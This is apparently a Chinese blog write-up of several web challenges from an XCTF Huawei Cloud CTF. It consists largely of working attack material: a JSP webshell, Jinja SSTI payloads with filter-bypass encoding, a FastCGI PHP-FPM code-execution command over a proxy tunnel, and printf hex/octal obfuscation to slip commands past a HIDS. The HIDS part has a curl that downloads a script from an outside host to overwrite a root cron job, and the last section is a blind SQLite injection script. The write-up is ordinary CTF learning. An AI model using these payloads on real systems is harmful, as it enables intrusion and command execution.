xctf高校网络安全挑战赛-华为云专场
image-20201221165235667

web

和队友打得快乐一批😁😁,@3rsh1,@iluem

WEBSHELL_1

上传webshell,waf好像不然你进行交互,那就直接命令执行

<%@ page import="java.io.*" %>
<%
  String cmd = "cat /flag";
  String output = "";
  if(cmd != null) {
     String s = null;
     try {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
        while((s = sI.readLine()) != null) {
           output += s;
        }
    }
     catch(IOException e) {
        e.printStackTrace();
    }
  }
%>

<pre>
<%=output %>
</pre>

<!--   http://michaeldaw.org   2006   -->

MINE_1

利用request.cookies.x1,request的其他三个被过滤了。

payload:

GET /success?msg={{()|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)()|attr(request.cookies.    x4)(77)|attr(request.cookies.x5)|attr(request.cookies.x6)|attr(request.cookies.x4)(request.cookies.x7)|attr(request.cookies.x4)(request.cookies.x8)(request.cookies.x9)}} HTTP/1.1
Host: 124.71.133.116:31002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: x1=__class__;x2=__base__;x3=__subclasses__;x4=__getitem__;x5=__init__;x6=__globals__;x7=__builtins__;x8=eval;x9=__import__("os").popen('cat flag.txt').read()
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

MINE_2

python 这方面还是太薄弱了

payload:

?{% print(session|attr("__init__"))|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("open(\"/flag.txt\").read()")%}

# 将""内的字符串换成格式化字符串的形式

http://124.70.199.12:30195/success?msg={%print(session|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(105)%2b"%c"%(116)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(95)%2b"%c"%(95)%2b"%c"%(103)%2b"%c"%(108)%2b"%c"%(111)%2b"%c"%(98)%2b"%c"%(97)%2b"%c"%(108)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(95)%2b"%c"%(95)%2b"%c"%(98)%2b"%c"%(117)%2b"%c"%(105)%2b"%c"%(108)%2b"%c"%(116)%2b"%c"%(105)%2b"%c"%(110)%2b"%c"%(115)%2b"%c"%(95)%2b"%c"%(95))|attr("%c"%(103)%2b"%c"%(101)%2b"%c"%(116))("%c"%(101)%2b"%c"%(118)%2b"%c"%(97)%2b"%c"%(108))("%c"%(111)%2b"%c"%(112)%2b"%c"%(101)%2b"%c"%(110)%2b"%c"%(40)%2b"%c"%(39)%2b"%c"%(102)%2b"%c"%(108)%2b"%c"%(97)%2b"%c"%(103)%2b"%c"%(46)%2b"%c"%(116)%2b"%c"%(120)%2b"%c"%(116)%2b"%c"%(39)%2b"%c"%(41)%2b"%c"%(46)%2b"%c"%(114)%2b"%c"%(101)%2b"%c"%(97)%2b"%c"%(100)%2b"%c"%(40)%2b"%c"%(41)))%}

CLOUD

/admin进行爆破,得到账号 admin:admin

20201221083301

根据tools.zip和观察/wsproxy,有个代理服务

编译或直接都可

go build # 得到shadowclient

代理

./shadowclient -c beegosessionID=8082b027576b238cd4cc1a79798fb2fe -l 127.0.0.1:1090  -o http://124.71.133.116/ -p UAF -r ws://124.71.133.116:32685/wsproxy

访问 phpinfo.php,可以发现之前有师傅访问php-fpm(很久之后,才意识到。。。。,亏我还用nmap扫)

配置 proxychains

socks5 127.0.0.1 1090 # add

本来打算用gopher,但发现curl一直报错,这里直接用了P神的脚本,改一下 socket.timeout(因人而异,看网络环境?)

Fastcgi PHP-FPM Client && Code Execution (github.com)

    def __init__(self, host, port, timeout, keepalive):# 69行
       self.host = host
       self.port = port
       self.timeout = 5000
       if keepalive:
           self.keepalive = 1
       else:
           self.keepalive = 0
       self.sock = None
       self.requests = dict()

同时在phpinfo得知该php文件地址为/usr/share/nginx/html//phpinfo.php

最后的payload

 proxychains python p.py 127.0.0.1 /usr/share/nginx/html//phpinfo.php -c "<?php system('cat /flag1.txt')?>"
image-20201221084658558

HIDS

学到了,在bash中 printf可以配合十六进制进行命令执行

而在dash中,printf可以配合8进制进行命令执行。

  • bash
> $(printf "\x63\x61\x74\x20\x77\x65\x62\x2f\x61\x70\x70\x2e\x70\x79")
cat: web/app.py: No such file or directory
a = 'ls /dev'
exp = ''
for i in a:
   z = str(hex(ord(i))).replace('0x','\\')
   exp += z
print(exp)
  • dash
a = 'ls /dev'
#
exp = ''
for i in a:
   z = str(oct(ord(i))).replace('0o','\\')
   exp += z
print(exp)

import requests

url = 'http://124.70.199.12:30586/run'

data = {
   'cmd':'env'
}

exp = '$(printf$IFS$1"{}")'.format(exp)

data['cmd'] = exp
r = requests.post(url=url, data=data,proxies={'http':'127.0.0.1:8080'})
print(r.text)
  • /etc/crontab
*/1 * * * * root /usr/local/bin/python3.8 /detect.py
*/1 * * * * ctf nohup /usr/local/bin/python3.8 /home/ctf/web/app.py &

其中/detect.py可写

  • app.py
from flask import Flask

from flask import render_template,request

import subprocess,re

app = Flask(__name__)



@app.route('/',methods=['GET'])

def index():

   return render_template('index.html')



@app.route('/run',methods=['POST'])

def run():

   cmd = request.form.get("cmd")

   p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)

   try:

      (msg, errs) = p.communicate(timeout=5000)

       return msg

   except Exception as e:

       return 'Error!'



app.run(host='0.0.0.0',port='5000')
  • 修改 /detect.py
curl http://121.36.37.97:8080/1.py --output /detect.py
  • 1.py
import os
os.system('cat /flag >/tmp/flag')
os.system('cat /flag >/home/ctf/web/templates/fe1w0')

等待一秒后,查看cat /tmp/flag

image-20201221103116544

也可以试试 kill 18738;sed -i 's/timeout=5000/timeout=99999/' /home/ctf/web/app.py,这样的思路

PYER

在最后一个小时内,只过了第一关

扫描路径发现只有一个地址login

通过以下sql语句,个人判断为sqlite

username=' and  1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end) -- &password=admin&submit=%E7%99%BB%E9%99%86

因为返回页面显示的是认证失败的,而不是sql语句执行失败的

20201221085645

再手动注入,猜测select password from user where username = '%s' and password = '%s',同时后端对password是直接验证,没有加密存储.

POST /login HTTP/1.1
Host: 121.37.160.91:32131
Content-Length: 61
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Origin: http://121.37.160.91:32131
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.37.160.91:32131/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

username='union select "password" -- -&password=password&submit=%E7%99%BB%E9%99%86
image-20201221085035188

之后,在admin发现有一个可能存在注入的点username,但后面平台关了..😔(后面又开了)

20201221085837

利用脚本来获得password

import requests
import time
url = "http://124.70.199.12:32198/login"
data ={
'username':None,
'password':'admin'
}
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
rlen=len(result)
while( head < tail ):
mid = (head + tail) >> 1
data_payload="select group_concat(password) from users"
#' union select "admin" from users where username="admin" and substr(({data_payload}),{1},1) > '{2}' -- -
payload="' union select \"admin\" from users where username=\"admin\" and (substr(({0}),{1},1) > '{2}') -- -".format(data_payload,i,chr(mid))
data['username'] = payload
r = requests.post(url,data=data,allow_redirects=False)
#print(r.status_code)
if 'Redirecting' in r.text:
head = mid + 1
elif "login error" in r.text:
tail = mid
else:
print ("error")
time.sleep(0.1)
if head!=32:
result += chr(head)
print(result)
else:
break
print(result)
#password: sqlite_not_safe
  • ssti

之后在admin页面可以ssti,

image-20201221111231119
POST /admin HTTP/1.1
Host: 124.70.199.12:32198
Content-Length: 147
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.199.12:32198
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.199.12:32198/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE
Connection: close

username=' union select "{{session.__init__.__globals__['__builtins__']['eval']('open(\'/app/flag.txt\').read()')}}" -- -&submit=%E7%99%BB%E9%99%86
POST /admin HTTP/1.1
Host: 124.70.199.12:32198
Content-Length: 202
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.199.12:32198
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.199.12:32198/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.X-ANfg.5X6Ydd8EN8ENsj3UdXbFUi_Z3UE
Connection: close

username=' union select "{{{}.__class__.__mro__[1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__'].__import__('os').popen('cat flag.txt').read()}}" -- -&submit=%E7%99%BB%E9%99%86
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇